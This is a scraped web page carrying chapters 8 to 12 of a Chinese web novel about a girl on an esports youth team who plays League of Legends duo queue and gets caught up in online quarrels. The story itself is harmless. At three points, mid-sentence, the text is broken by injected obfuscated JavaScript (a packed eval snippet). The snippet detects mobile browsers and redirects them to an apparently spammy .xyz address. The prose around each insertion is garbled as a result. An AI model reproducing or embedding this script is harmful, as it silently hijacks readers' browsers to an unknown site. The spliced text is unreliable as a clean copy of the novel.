“……嗯，虽然但是，你这个汤达人确实是我买的诶。那个康师傅和白象才是他们买的。” 汤瑶理亏了两秒，反应过来之后立刻给他转了五十块：“滚。” Shark很识趣的收了：“得，谢谢老板！”然后夸住的捂住嘴，退回了自己的机位，继续开始了排位。 半个小时之后结束，身边的女孩已经戴上耳机在游戏中了。瞥了一眼，玩得是泰坦，用了那款最笨的宇航员皮肤，在泉水加速的影响下用很滑稽的姿势飘荡着快速移动。画面之外的女孩有大大的眼睛和圆嘟嘟的脸，和那些精致又窈窕的姐姐们不同，她则是在学校里那个坐在自己身边，说话时拥有很多鲜活生动表情，笑起来也很好听的可爱女同学。 谈不上喜不喜欢，但是就是会情不自禁关注。 “你们晚上还打吗？”他咬着吸管在旁边ob，看她大顺风平推之后才开口，“带我一个。” 汤瑶很明显是个不记仇的小孩，没摘耳机但是听得很清楚，就是摇头也很坚决：“没你位置，我要跟我朋友包下。” “卧槽，匹配而已，我什么位置不能打？我全能王好吗！” 千分韩王申请上自己的两妹车，这真是之前想都不敢想的剧情。要知道在互联网上，汤瑶并不算是个擅长交际的人，甚至因为脾气不够好，连好友都寥寥无几，每次和元宝呆在匹配房间里，光是摇人就要被硬控半个点儿，如同盲盒般的随机质量路人更是水平残次不齐，往往都没有什么好的体验。 虽然虚荣心让她几乎点头，可是刚刚的不愉快并没有完全过去，所以思考了半天，只是给出了个模棱两可的回答：“再说吧，你还要打训练赛，而且我朋友也有人要拉，不一定有位置。” “好吧，那你们缺人喊我。巡不训练你肯定知道，反正~平时也没什么事干，我想跟你玩。” 汤瑶很容易情绪挂脸，听他这样一说，嘴角不自觉地就勾了起来。但她又不想被发现，所以侧过身子躲着他，故意很敷衍的说道：“行行，知道了。” 第一把原本以为今天可以突破新高，来到七百分，结果赢了一把之后三连跪，分数再次回到了五开头。辅助和别的位置不一样，这是个可以左右局势，但又没办法奠定胜局的位置，所以不得不讲玄学。反正今天肯定不是上分日，不如换个服务器换换气运，换换心情。 再次回到国服，因为是工作日的下午，所以在线的好友寥寥无几。 正当汤瑶犹豫要玩什么模式，右上角跳出了新消息：[绯村剑心]邀请您加入游戏（灵活排位）。 紧接着私聊也跟着过来—— [绯村剑心]：来吗 [绯村剑心]：四等一 元宝也没回消息，估计是在上课或者忙别的。等了一会儿，看到对方似乎很坚持，也就进了房间。她刚进去，自动连接的语音频道里传来嘈杂的说笑，还没看清谁是谁，已经排了进去。 虽然她没来得及选位置，被系统分到了上单，但很明显大家对于位置都有了分配。光是调整音量的功夫，就听到有人说话了：“心哥，又换了新妹妹啊？” 是个还算年轻的声音，不好听也不难听。 另一个人接话：“包的，我已经家访过了，昨天打了一晚上。啧啧，妹妹，跟你说啊，我们AD峡谷六十胜率大师，之前还去打过青训，你可要把握住了哦。”这是个有点年纪，说不定还有点烟龄的叔叔音。 “噗嗤——” 汤瑶发出了三连跪之后的第一声真挚的笑。这种感受真是太奇妙了，放在之前遇到这种光环玩家，不论真假，出于礼貌都要‘哇’上那么一声。可惜，她刚刚让一个韩服千分且LDL现役的AD一边儿呆着去。所以现在只会觉得滑稽。 “噫，妹妹说话了？笑什么呀？” 汤瑶这才尴尬了半秒，默默把自己的音量调小了一截，清了清嗓子说：“昂…没什么没什么。”随后把语音关了。 “哇哦，这个妹妹说话，好好听啊~”原本很粗狂的叔音突然放轻了很 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16326014|183222||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 多，“妹妹你几岁啦？” “你们别这样好吧。”终于，‘绯村剑心’开麦了，声音由小渐大，应该是刚刚戴耳机，“不是你们嚷嚷说差人差人，要妹妹要妹妹么，别来了又被你们吓跑了。” 汤瑶倒是对这种情况司空见惯。她并不是没有感觉或者不介意，但她打开游戏是为了玩，并不是为了当这些没教养的男人们老师告诉他们怎么才是懂礼貌，所以在不影响自己操作的情况下，她并没有那么介意。 只是也没有接话，而是拒绝游戏里调换楼层的要求，惜字如金的开麦：“我不先出，让AD出。” “啊？好吧。蓝色方我还以为你要拿猫——” “你瞎啊，猫都被妹妹BAN掉了！来你跟我换吧，我打野先出。” “我来吧我来吧。”‘绯村剑心’果断换到了一楼，在AD位里点了半天，最后锁在了厄斐琉斯，“你随便玩吧。” …… 早说啊，早说就不BAN猫了。 汤瑶不喜欢厄斐琉斯的理由没有故事，单纯因为这是个非常难伺候的后期大核。超高的伤害和超脆的身板意味着这是个一眼不看就要爆炸的玻璃英雄。偏偏他的设计非常特别，拥有着全联盟中独一无二的技能机制，上手难度非常高，想要精通更需要熟练度，然而绝大多数人连普通英雄都玩不明白，更别提这种了，所以不论比赛中选手使用他打出多少高光，现实中往往都是一些又菜又爱玩的绝症哥最爱。本来对线就难，辛辛苦苦当保姆，最后还得不到应有的回报，次数多了，自然而然就反感起这个英雄。 所以在绝大多数时候，她会在看见队友亮出这个英雄的时候选出魔法猫咪，直接身份转换，让满头大汗的成为AD方。类似于队友选出德莱文并且打字要求硬辅，她也会选出咖啡甜心索拉卡，给试图点播的少爷来上那么一杯热腾腾的卡布奇诺。 汤瑶本来想选硬辅，结果几个钩子包括日女都上了BAN位，猜得出对面要出软辅。虽然法辅可以轻松克制，但是考虑到厄斐琉斯的特殊性，法辅等于葬送游戏。再怎么不情愿，下路的生态就是相辅相成，对方过得不好自己也不会过得好，所以在纠结了很久之后，她还是很没出息的选了露露。 ——玩游戏，赢是第一位。 一个高段位的辅助，除了游戏内的操作意识，鉴别AD水平也是必修课。很多时候上线看对方A出去的第一刀就能有答案了。目前来说，‘绯村剑心’表现尚可，除了他为了施展魅力所以显得格外矫揉造作的声音是不是让她头皮发麻之外，不论对线还是打团都还算得上是合作愉快。 二十分钟不到，就以极大的优势拿下了第一局，队内气氛也很轻松愉快。 欢声笑语中，火速开始了第二局。依然是蓝色方，依然是后出。在看到对面先亮出娜美之后，她毫不犹豫的锁下了芮尔。麦里的‘绯村剑心’有点惊讶的啊了一声，但是很配合的把卢锡安预选改成了莎弥拉：“你会这个呀？” 9. 第 9 章 在实力相当的水平下，下路的生态其实是由辅助的水平决定。辅助中又存在着概念上的生物链：软辅克硬辅，硬辅克法辅，法辅克软辅。然而这种定义中的相生相克只存在于旗鼓相当的2V2中，只要某一方水平过高或者过低，自然而然就会打破这一定义。 如果软辅走路飘逸，拉扯娴熟，硬辅很容易变成笨笨的玩具。当然也有比较讨巧的制胜法则，比如在强势组合的情况下一级蹲草，尤其沙琪玛这种强势组合，斩杀线极高，滚雪球能力也强，如果早早拿下优势，完全可能在操作得当的情况下直接奠定胜势。 所以汤瑶选择一级直接蹲草。 这不是什么很高明的技巧，但凡对面对局势有清醒的认知肯定会有警觉，芮尔的手不够长，成功率并不高。不过她就是不想帮野，一个人早早来到草丛中静候。‘绯村剑心’象征性帮着A了几下BUFF，也快速赶到了线上。 果然对面没有任何察觉，芮尔顺利踩到了没有任何防备的娜美，直接挂点燃，对方方寸大乱，狼狈地治疗闪现全按，偏偏因为娜美的符文带了绿色系的守护者，在控制结束之后闪现拉开了距离，燃烧效果结束之后依然剩了一丝血皮苟延残瑞。 汤瑶见好就收，开始处理兵线，结果莎弥拉却上头跟闪去追，结果一个人顶着一波兵加上对方AD的无压力输出，直接被反杀。而她想拉拉不住，想救来不及，也一起死了。 “其实不用去追的。”虽然内心很崩溃，还是要保持体面，“本来他们对线玩不了的。” “能杀的。”‘绯村剑心’说，“你少A一下，或者你跟我一起闪也杀了。” …… 经典，太经典了。 经典有麦不沟通，失误了开始一本正经甩锅。当然了，像这种全凭操作的MOBA类游戏，不同的选择会有成千上万种结局，他说得当然存在可能性——但绝不代表正确。玩家的操作没有对错，只有选择和配合，尤其是刚刚那种情况，明明自己的判断才是最稳妥的稳赚不赔，他才是激进失误的那个，可是出于自己的高玩包袱，并不肯承认，所以就这么理所当然的把锅甩了过来。 这种事情不论经历过多少次，还是会觉得恶心。 汤瑶翻了个白眼，原本因为还不错的声音的一丁点儿滤镜也在此刻荡然无存。对面的分段不低，打野也来得很勤快，在本来就被双杀的天崩基础下还一直被照顾，导致两个人不是在死就是在死的路上。她尝试过在对面压线的时候操作，但是莎弥拉接了个被动没有跟上，于是再次喜提：“现在就不要上了，打不过的。” 汤瑶觉得很没意思，只是把语音频道退了。 终于，在折磨了二十多分钟以后，结束了这把痛苦的游戏。她连队伍都没退，直接关了游戏，火速打开韩服开始排位。等了几分钟就近了，她什么也不看就直接选了芮尔。心里憋着一把火，一定要要好好操作一把才行。 韩服高分不比随意的国服灵排，不存在沙琪玛这种无脑组合，AD后手补了个前期伤害不素的卢锡安。这种局一级蹲不了草，老老实实站位。面对卡莎泰坦，不论是坦度和控制在前期都是优势，伤害爆发来说五五开，属于非常看操作的强势对抗线。 不过钩子英雄，说破了天，勾不中就没用。至于钩子玩家什么时候会出钩，会怎么出钩，这就是对线时需要博弈的部分了。所谓知己知彼，百战不殆，她精通各种风格的辅助，当然知道什么时机，什么角度合适出钩，所以在水平相当的情况下，很轻松就能玩弄对面。 这把的运气也不错，打野主打下半区，不光自己来还带着中单兄弟来，下路几乎五分钟就开始了大乱斗，打得十分热闹，雪球也越滚越大。很快超前发育的AD和自己完美配合，在没有队友的情况下在中路完美二打四打出了零换四，团战大获全胜的同时也收获了对面的火速投降。 结算界面，汤瑶意犹未尽的看着卢锡安13/2/4的豪华战绩，难得给他点了个赞。顺便点进他的资料界面查看战绩，惊讶的发现对方竟然是补位。再翻到OP.GG一看，才知道对方是LPL的中单选手DQ Deserve。 竟然是他！ 汤瑶不禁小小的激动了一下。作为一个爱打游戏的颜控，喜欢帅哥是本能。 今时不同往日，随着资本的注入和选手更迭，起码在lpl这一块，发展到现在，选手的整体质量提升不少，再在独特的滤镜加持下，齐头整脸的好看男生不再是稀缺品，除了操作之外，选手们的脸同样是观众们赛后热议的话题。 尤其她没什么热血因子，天生也不喜欢追逐别人，所以看比赛除了是为了和朋友能有共同话题之外，关注点基本都放下右下角摄像头的那些脸上。 Deserve当初作为替补出场的那场夏决不仅贡献了非常精彩的三把力挽狂澜，更是留下了无数至今在互联网流传的各种角度神图。不过很显然，成为正式选手之后他对形象好像就没那么在意了，不管是日益发圆的脸还是永远盖住一半眼睛的头发，总是让他的颜值大打折扣，不过对于大部分在乎游戏本身的观众来说，这压根不算缺点。 总之他是目前的联赛人气王，虽然成绩还比不上有资历的老前辈们，但商业价值非常之高，不论是代言还是联名，甚至是游戏中非常昂贵的限量兑换的签名或者队伍都能在短时间内销售一空。 汤瑶盯着早已经暗下去的ID，突然在脑海中闪过了很多奇思妙想。 可能青春期的女孩就是这样，光是睡前幻想自己是某部小说里的女主角已经不够了，生活中也会把再普通不过的某些情节碎片和看过的肥皂剧或者言情小说相结合，在颅内上演罗曼蒂克剧场——虽然自己不够漂亮，也不够优秀，但小说里的男主不就是总能发现女主的特别之处吗？ 汤瑶浮想联翩了半天，最后被Shark摇醒。 “你干嘛呢？” 偶像剧情节被撤回，来到现实，她只好打量起Shar ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16326015|183222||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' k的脸。五官的排列还算差强人意，但是不能细看，只有长睫毛让眼睛还稍微像那么回事。可是太瘦了，瘦到她觉得他像根甘蔗。巨大的落差感让她倍感失落，叹了口气，最后生无可恋的摇摇头：“没什么，有点累。” Shark看了一眼结算界面的胜利，疑惑不已：“你打了一把就累？五百分强度有那么高？” 汤瑶不想跟他闲聊：“有屁快放。” Shark这才说道：“来跟我打灵排呗。我有老板点了三陪，让我再找个妹妹来辅助。” “算钱吗？” “卧槽，三排带你躺还不好吗？” “我特么要一区的灵排分干什么？” “行行，算！算我点的你！给你算50/h，可以吧？” 汤瑶一阵恶寒。说来真奇怪，有些隔着网线听起来很甜蜜的话，面对面听只觉得受用不起。这个单价不算低，但很明显对方并不是为了自己的能力买单。她很不满意，切了一声：“用不着。”想了想，和他商量起来。“我可以来，但是以后真有单子你带我一个呗？” “包的。”Shark满口答应，又豪气的挥手，“你就上自己号，带不动算我们四个菜！” 汤瑶本来反驳自己根本不需要他们带，转念一想，又没钱，干嘛要出力，于是下定决心把把选猫。 刚刚回到艾欧尼亚，两条好友的消息就弹了出来。 [绯村剑心]：…… [绯村剑心]：生气了？ 光标移上去看了下时间，貌似是自己刚退的那会儿。对方还在线，虚空之女游戏中26分钟，于是点进去看了下战绩，之前两连胜，场均十二杀，KDA非常漂亮。她咂咂嘴，感觉很不是滋味。也懒得理，就扭过头去问：“我上线了，你们拉我还是怎么？” “他们还在借号，你先拉我呗。”Shark说，“我叫[你的爱是冒险]。” 汤瑶再次露出一言难尽的表情：“非主流。”但是手速的很快的输入了这几个字，“已经拉你了，你看看你开邀请没。” “借的号！！不是我的！”Shark咬牙切齿，“特么，这是翡翠拉分号。” “哈哈哈~那你的号叫什么？鲨啵一吗？” “素质，素质。我的号就叫大白鲨啊，当时ID吧还没那么火，我捡漏七百块买的，嘿嘿。后面好多人找我买，还有出好几千的，不过我都没卖，没办法，已经用出感情了。” “……不是，七百块买一个网名哪里便宜了！” “很便宜了好不，你不知道那种英短都是五位数起的！” “知道。但是我觉得有病。” “你不懂。” “我也不想懂，谢谢。”一想到自己的手头的存款也许只值有钱人的几个网名，汤瑶就觉得两眼发黑。 两个人正在斗嘴，她突然听到放在一边的耳机似乎有声音，撇了一眼屏幕，才发现[绯村剑心]不知道什么时候进来了。 10. 第 10 章 “喂？喂喂喂~” 汤瑶刚戴上耳机，就听到[绯村剑心]的声音。 她不想开麦，在房间打了个问号。 “你之前是生气了吗？我们还以为你是网断了……哎呀，我打游戏有点认真，平时不怎么跟女生玩，所以可能讲话有点凶了。不好意思，你别生气了呗。” 这是语气态度的问题吗？不是他失误还甩锅吗？ 汤瑶气鼓鼓打了几个问号，想了想又感觉很没意思，改成了两个句号发了出去。 Shark的是入耳式耳机，只戴了一边，听到是个在自顾自解释的男生之后基本猜出了剧情。他点开对方的资料看了看，又翻了下战绩，得出结论：大师犬罢了。 “哎呀，来跟我玩呗。”[绯村剑心]并不觉得随口的一两句话算什么错，继续捏着他的极品青受音试图散发魅力，“四等一，我保证一把都不会输。” 汤瑶被他莫名其妙的自信无语到笑了出来，不过她没开麦。女性玩家在游戏中的生存环境很差，她虽然性格火爆，但不代表在低素质和出口成脏方面能比得过没有下限的男人们，这让她在绝大多数时候都不会主动挑起争端——即便有很多难听的话想说。 “……不是哥们，你谁啊？”Shark突然开了麦，“我心思，灵排钻石局莎弥拉加芮尔能被卢娜打成2-8，你还在这儿叭叭个没完没了。人没说话还不懂什么意思吗？不-想-跟-你-玩。赶紧滚，不滚我踢了。” 汤瑶倒吸一口凉气，瞪大了眼睛看向身边的男生。 [绯村剑心]明显也是楞了一下，很快反应过来：“啧，哪里来的疯狗？”能听见他那边鼠标点击的声音，然后嗤笑，“不是哥们，你个钻石都上不了的残障在这里拽什么啊？你们不也没玩过吗？你以为你谁啊？” “笑死了，这是你爹接单子的号。你爹韩服千分懂吗？” “哦哦哦哦！韩~服~千~分~你好厉害啊！最强王者打国服翡翠就这么水深火热吗？” “你是不是脑子有问题，都跟你说了这是单子号，战绩又不是我打的。你别几把吠了，来来，加你爹V叉，我发公屏了，给你看看什么是活的韩王。别怂！” “额……孩子你是小学生吗？动不动就要发联系方式真实，然后呢？所以呢？用几张包浆的假图当你的网络自尊心，再语言攻击两句，就以为自己的游戏技术能和嘴臭一样厉害了？” “哎哟哎哟，那你直接来B站嘛。直接搜LOL Fish，热度第一的就是那个他被单杀的合集。里面第一个就是他被韩服路人王线杀。你爹就是那个路人王。你直接看我的号跟视频里的ID一不一样就完事儿了。” 结果那边再次发出嗤笑：“Foppish啊？鱼酱就算了吧，我说实话他连一区五百分的水平都没有，谁上谁都行。笑死了，我还以为你能有什么本事，单杀个残障AD也要拿出来吹牛啊？你成年了吗？” “哦哟哦哟，F——Foppish再菜，那也是LPL的联赛选手，也是在韩服几百分的，你上你行，问题是你排得到吗？哦哦，韩服号也挺贵的，你这种穷B应该搞不到吧。嘻嘻。” “哇哦，你有韩服号，真是好了不起。我是XX大学本科，正儿八经双一流，你呢？你的人生呢？你买得起房吗？你开什么车？你一天到晚除了能打游戏还能干什么？不会觉得自己游戏有几个破分，就很牛吧？” “急了？开始报菜名了？终于发现自己是低分狗的事实所以开始转移话题了？不好意思，你爹肯定比你有钱，说不定比你全家加起来都有钱。嘻嘻。”Shark还在持续攻击，手机的震动打断了他的话头。他看了一下屏幕，快速说道，“记住你爹的ID是大白鲨，明年记得打开直播在LPL给你爹加油。” 他拿起手机，起身去一边接电话，路过的时候还揉了一下汤瑶的脑袋，冲她眨眨眼，和刚才仿佛疯狗出栏的样子判若两人。他的声音断断续续传过来，“咋了？……哦哦，我刚没看。行吧。那个……” 汤瑶扶额。 她是有点讨厌这个[绯村剑心]，但是也没有到要当面吵架的地步。不是她战斗力不行，而是她觉得在互联网上发生任何冲突都是没有意义的。就算是吵翻天了，不论输赢，除了让自己可能乳腺增生之外没任何意义。 一开始她是觉得很尴尬，替人尴尬的毛病让她狂抠脚指头。 后来这两人疯狂爆典，每句话都是那么的似曾相识，让她感觉全世界的男人应该共用一个底层代码。唯一有出入的是，大概他俩的确是游戏里相对高分的存在，所以跳过了叫嚣SOLO的这个景点环节。不过在[绯村剑心]说出那句“你的人生呢？”之前，她就在心里精准预判了这句话。 客户端的列表里不断闪动着新消息提示，点开一看，是退出房间的另一个人发来的。 [绯村剑心]：我朋友喊我了，下次 [绯村剑心]：那个低能装不下去跑了？ [绯村剑心]：下次别去贴吧摇人，之前那两个也不行。 你自己不也是元宝从贴吧摇过来的盲盒之一吗，谁又比谁高贵了？ 汤瑶懒得回，关掉了窗口，躺在椅子里玩手机。 现在的电子设备总是无时无刻监听，她一打开B站，搜索栏里的推荐文字就是Fish被单杀合集。 Fish的ID并不是Fish，而是Foppish。众所周知，电竞圈的平均学历不超过高中，这种程度的单词对从业者来说还是太难了。所以当这个id第一次出现在赛场时，正好有个名气很大的全职业选手坐在解说台，用魔性的口音叫了他整整四把Fish。 不过那个时候他刚刚出道，表现差强人意，处于新手保护期的他尚且被观众尊重，这个误称并没有成为别称。还是因为后来他在出道第二年就拿到了世界亚军的优秀成绩，结果第二年版本大改，辅助出走，他似乎原形毕露，在比赛中频频出现各种抽象操作，每次各大主播的吐槽合集都能成为新热搜。 所以当乐子人们 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结果就在今年春季赛的某一场常规赛，Foppish所在的战队AWA爆冷，以非常难看的战绩0-2输给了垫底的战队。第二场在打的时候广场就吵得炸开了锅，等比赛结束，选手们离开场馆，又有粉丝贴脸开大，当着他的面大喊：“李君诚，你要是不想挨骂就多麦麸！” 结果Foppish暴怒，直接回怼：“我建议你多吃点S……。” 几个队友被他的暴言吓死，真白眼疾手快一把捂住了他的嘴，把那个即将脱口而出的字强行堵了回去。大家合理把脱缰发疯的他一起架上了车。当天这件事屠版了各大LOL的论坛，除了粉丝动荡之外，乐子人们看得津津有味的同时，都一致认为是狗咬狗，两边都不是什么好东西——活该！ 事后，Foppish被罚款五万，禁赛两周，还写了一封一看就不是出自本人之手的道歉微博。 竞圈的瓜总是层出不穷，半年过去，新鲜的乐子事每周都在更新，所以他的事情也就这么过去了。 汤瑶不太吃Foppish的那种长相。印象里的Foppish常年寸头，还喜欢戴银色耳钉，虽然长得浓眉大眼，但给人一种头脑简单，四肢发达的感觉。她不喜欢（看起来）不够聪明的男生，更不喜欢令人高血压的ADC。如果不是他突然在今天的骂战里被提起，她的大数据才不会推送这个人。 汤瑶没点进那个嘲讽拉满的合集，而是刷新了一下主页。 翻了几下之后，猛得出现一个【LOCK ME UP丨最新竞圈美男盘点】。 封面两个选手错身的画面。其中一个是她非常熟悉的Deserve侧脸，另一个迎面走来的反而非常陌生。她盯着看了半天，男生的头发看起来很柔软，有些凌乱的盖着额头，沉着眼，轮廓硬朗。如果说Deserve是言情男主，这位就很像男频的气运之子了。 这人谁啊？ 汤瑶点进去，很快在视频里看到了封面的片面。不止是她，满弹幕都是问号。当然，热心的红字出现在铺天盖地的问号上，给了所有人回答：这是留了头发的Foppish啊。 11. 第 11 章 “我去，你也是他颜粉啊？” 正当汤瑶在几个全新版本的Foppish混剪里感慨发型对男生的重要度时，Shark的声音从她头顶飘过来。她吓了一跳，马上关掉手机，冲他狠狠瞪一眼：“你好没素质！” “我~好~没~素~质~”Shark学她说话。 她再次瞪他。 “老板临时有点事，但是又有别的单子喊我去打。说了半天，我没去。”他顿了顿，“我想跟你玩。” 虽然汤瑶并不觉得刚刚的骂战对自己有什么好处，但……好歹是队友，不能不领情。她稍微整理了下表情，点点头：“无所谓。” 想想还真是奇怪，汤瑶并不觉得自己是个心志坚定的人。作为普通玩家的时候，哪怕是单排时遇到配合好的AD，如果ID好听点，都够她心情好上一晚上。如果开黑的时候摇来没有太多雷点的高玩，更是能成为和元宝好一阵子的话题。 可是现在真正的韩王，说不定以后真会成为LPL选手的高玩正在对着自己摇尾巴，怎么反而没感觉？ 青训的时候汤瑶和Shark不同队，就连微信都是确定成为队友之后才加上的。现在虽然是队友，但一个首发一个是训练赛都没有替补，总共也没一起打过几次。她对他的技术还算认可，这也是生活中一再妥协的主要原因。 “所以，你想玩什么？”Shark问。 “不是你要跟我玩？”汤瑶说。 “……我也不知道。” Shark是真不知道了。毕竟AD带妹的正常剧本就是甜蜜双排，只要把分上了，感情自然就有了。可是……很明显坐在自己身边训练的队员并不需要也不会稀罕国服的排位分。他冥思苦想，提出了个建议，“我俩找个野车打灵排吧。灵排简单，玩起来不累，而且三等二的车都是三黑，反正他们也说话，我们玩自己就行。” “行。”汤瑶同意，“你找人。”她最讨厌摇人了。 “哎哟，这不是随便找。” Shark没换号，凭着拉分机制很容易就找到了三个开黑的低分老哥。麦里的三个人叽里咕噜说着家乡话，看到人来才用普通话问了一下位置。顺利要到包下位置之后，他们就继续自己的话题了。他把汤瑶拉游戏，“你随便玩。” 汤瑶哼了声，直接选了魔法猫咪：“3个白金1个翡翠1个钻2，这种局你带不动收拾收拾回家了。还有，我不出坩埚，最多看情况给你弄个加速球。” Shark习以为常：“小事，你刷手机都行。” 熟练的猫爬架是这样的。在英雄联盟这款游戏里，男玩家的女人缘和技术成正比，尤其是AD这个特殊位置，甚至不需要顶尖的技术，只要肯向下兼容，就绝对不会缺情感供给。像Shark这种凤毛麟角的顶尖高玩，恋爱经历当然是两只手都数不过来。 AD玩家总是带着不同的辅助做同样的事情，再夸她们是自己遇到的最温柔贴心可爱的女孩儿。 这是两个人都心知肚明的剧情。 也许正因如此，两个人都在刻意规避。汤瑶虽然嘴上说着不会管他，但是其实双手根本没有离开过键鼠。不管是换血还是挡技能都很勤快。她不是怕输，也不是不想玩手机，而是她很明白挂在AD身上摸鱼甚至添乱这种行为一般是女友特权。 Shark呢，打这种水平的对局毫不费力。见面就线杀，十分钟不到就能推一塔。耳机里三个路人“哇”声一片，问他是不是带女朋友打小号。他立刻就澄清只是普通朋友。结果得到了众人的嘻嘻哈哈，说我懂我懂。 他尴尬地连连咳嗽，转过头去看旁边的女生。 感受到目光的汤瑶瘪瘪嘴，一摊手表示没办法—— 但是她皮肤很白。大概因为身材比较有肉感，圆鼓鼓的脸看起来非常柔软，而且白得非常有气色，是很通透又有光泽的白。就像珍珠。所以从领口处一点点升起的粉红也非常明显。 她也害羞了！ 这个发现让Shark非常惊喜，他还以为她真是杀了十年鱼的冷漠女人呢，看来也没有想象中的那么难以靠近。他感觉到了进展，态度上自然了很多，关掉了麦和她很贴心的说：“你不喜欢玩猫也不用老选，其实什么都行，泰坦机器人什么的也行啊。” 结果汤瑶冷笑了一声：“你觉得我硬辅不行？我俩训练赛打得不多，但是没输过吧？” ……糟糕，固定句式就像肌肉记忆，一不留神就脱口而出。偏偏这女人还跟个刺猬一样，浑身都是炸毛。他挠挠头，憋了一会儿才说：“我没觉得你不行啊。有没有一种可能，我是觉得你行才想你玩？” 汤瑶楞了楞。 理智告诉自己这也只是油嘴滑舌的一部分而已，但是情感上被夸奖产生的激素直冲脑门，嘴角已经不受控制的扬起来了：“这个确实。” “嗯嗯这个是真的，女生本来玩硬辅的也少，厉害得就更少了。也有那种日女或者锤石的绝活姐，都是玩了几千把堆上来的。但是你不一样啊，你玩这个游戏才不到两年吧，可能游戏总场次加起来都没有人家高，但别人最多也就大师几百分，你现在可是青训队员，韩服几百分。也不用我夸吧，我们是队友，你要是不行，那我岂不也不行？” “噗——男生怎么能说自己不行？”汤瑶对马屁很受用，心情昂扬起来，鼠标在选人界面划了几个来回，“好吧，那奖励你一把芮尔。” “没问题。”Shark立刻锁下莎弥拉。 “哟，你也会莎弥拉？” “我特么可是全能王，懂？再说了，莎弥拉这种残疾英雄，不是闭着眼睛玩？”扯了几句，很快进入游戏。Shark发出一声怪叫，指着屏幕说，“你看这谁？” 汤瑶仔细一看，灵魂莲华的厄斐琉斯的使用者赫然是[绯村剑心]，辅助的ID则是某款奶茶，使用的英雄是创世星神璐璐。她啧了一声：“好巧啊。”快速切出去查了一下战绩，发现他们也连胜，而且每把[绯村剑心]的战绩都很豪华，于是不由得坐直了身子，“太好了。” 很快进入游戏，她飞快买完装备带着扫描就出门：“来，来来。” 汤瑶带着Shark蹲到二草后才意识到，这个套 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16326017|183222||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 路的本质就是出其不意，但凡有些警惕性的人都很难中招，何况[绯村剑心]也很清楚自己的这个习惯，不仅套路不到，很可能还会吃闷亏。 看着时间一分一秒过去，犹豫的时候兵线已经出来了，如果在这个时候出去不仅暴露位置像个小丑，还会影响兵线生态，也只能硬着头皮蹲了。 果然，厄斐琉斯和璐璐谨慎的跟在兵线附近出现。厄斐琉斯保持着离草非常安全的距离，璐璐对着两人藏身的草丛使用了闪耀长枪，虽然汤瑶试图走位，但是芮尔的模型过大，还是被蹭到了。 伴随着璐璐亮出来的可爱表情，一个敌方眼直接落了过来，厄斐琉斯几乎是同时甩出通碧Q，精准打中本来就被减速的芮尔，超长攻击距离的几个连A配合璐璐的补刀，让她一瞬间就掉了不少血量。 不能跑，越跑越会被追着打。 汤瑶观察兵线，因为自己暴露视野的缘故，所以对方两个人的攻击同样也吸引了自家小兵的攻击。尤其是走位不够当心的璐璐正在被好几个小兵集火。所以她稍微往后拉了几步，佯装想走，诱骗璐璐继续往前，用血线换到足够的追击距离后，非常果断地闪现W，抬起璐璐的同时挂了点燃。 虽然璐璐也有部分警觉，一样交出了闪现，但是汤瑶用的是芮尔的W二形态驾临，虽然控制稍短，但是是必中的平A强控。又因为勾引留出了相当一段距离，使得她并没有因为闪现而回到防御塔附近。 在璐璐被挑起的瞬间，莎弥拉接起被动，非常果断地闪现E跟进，近战切刀配合点燃以及平A的伤害，有惊无险地完成了线杀。 汤瑶松了口气，Shark一边用刷新的E贴近厄斐琉斯，一边说道：“哎呀，你下次上的时候跟我说，我早点跟可以省个闪现的。”莎弥拉的超高伤害简单无脑，几个平A就把前期堪比残疾的厄斐琉斯打得退出了经验去。她直到杀不了，所以堵在中间，同时“嗯”了一声：“我的，我忘记说了。” “没事，杀了就行。”Shark说，“他们已经完了。” 沙琪玛就是这样不讲道理的英雄，只要有优势就能无限滚雪球。第一波线杀拉开经验差，通过经验差做线杀，再利用击杀的奖金买装备，十分不到Shark的莎弥拉就出了幕刃，来到了连防御塔也能一起秀的完全形态。现在这个情况，来几个杀几个，就算是SOVA来操作也翻不出任何水花。 看得出来对方试图拯救，中单和打野结伴过来，但改变的也只是汤瑶的R能中几个人而已。 两个人没怎么说话，但是默契拉满，只是心照不宣的不断造成击杀。十五分钟刚到，对面就点了投降。客户端的好友列表突然刷新，她仔细一看，发现好友数量-1。 ——[绯村剑心]把她删了。 汤瑶在胸口闷了好几天的郁结之气一扫而空，她美滋滋看着对面0-6的厄斐琉斯，开心得不行：“他肯定急死了。带着妹在之前的妹妹面前丢人，一定晚上都睡不着了吧。哈哈哈哈哈！爽！” 她嚯得起身，用力拍了拍Shark的肩膀，“不错不错小伙子，姐很看好你。” 12. 第 12 章 基地的生活很无聊。 